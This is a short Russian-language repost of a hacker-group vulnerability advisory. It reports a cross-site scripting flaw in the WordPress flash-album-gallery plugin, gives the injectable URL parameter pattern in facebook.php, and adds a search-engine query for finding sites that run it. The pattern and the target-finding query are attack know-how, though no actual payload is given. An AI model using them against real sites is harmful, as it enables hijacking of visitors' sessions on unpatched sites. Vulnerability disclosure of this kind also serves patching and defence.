Wordpress XSS уязвимость в плагине flash-album-gallery

Ошибка в Wordpress flash-album-gallery плагине, которая позволяет нам эксплуатировать Cross-Site Scripting на удаленном сайте.

########################################################################
 ##############################################
 # #
 # Islamic Republic Of Iran Security Team #
 # #
 # http://irist.ir/forum/ #
 # #
 ########################################################################
 ##############################################
 # #
 # Wordpress flash-album-gallery plugin Cross-Site Scripting Vulnerabilities #
 # #
 # Download......: http://wordpress.org/extend/plugins/flash-album-gallery/ #
 # #
 # Exploit.......: http://site.com/[path]/wp-content/plugins/flash-album-gallery/facebo
 ok.php?i=[xss] #
 # #
 # Google Search.: "Powered by Wordpress" #
 # #
 ########################################################################
 ##############################################
 # #
 # Bug Found.....: IrIsT.Ir #
 # #
 # discovery.....: Am!r (IrIsT?) #
 # #
 # contact.......: Amir[at]IrIsT.ir #
 # #
 # SP TNX........: The-0utl4w & A.u.r.A & B3HZ4D & m3hdi & joker_s & all IrIsT And Aria-security members #
 # #
 # & Ashiyane.Org & black-hg.org & Aria-security.com & H4ckcity.Org & sepehr-Team.Org & ajaxtm.com & All Iranian Team #
 # #
 ########################################################################
 ##############################################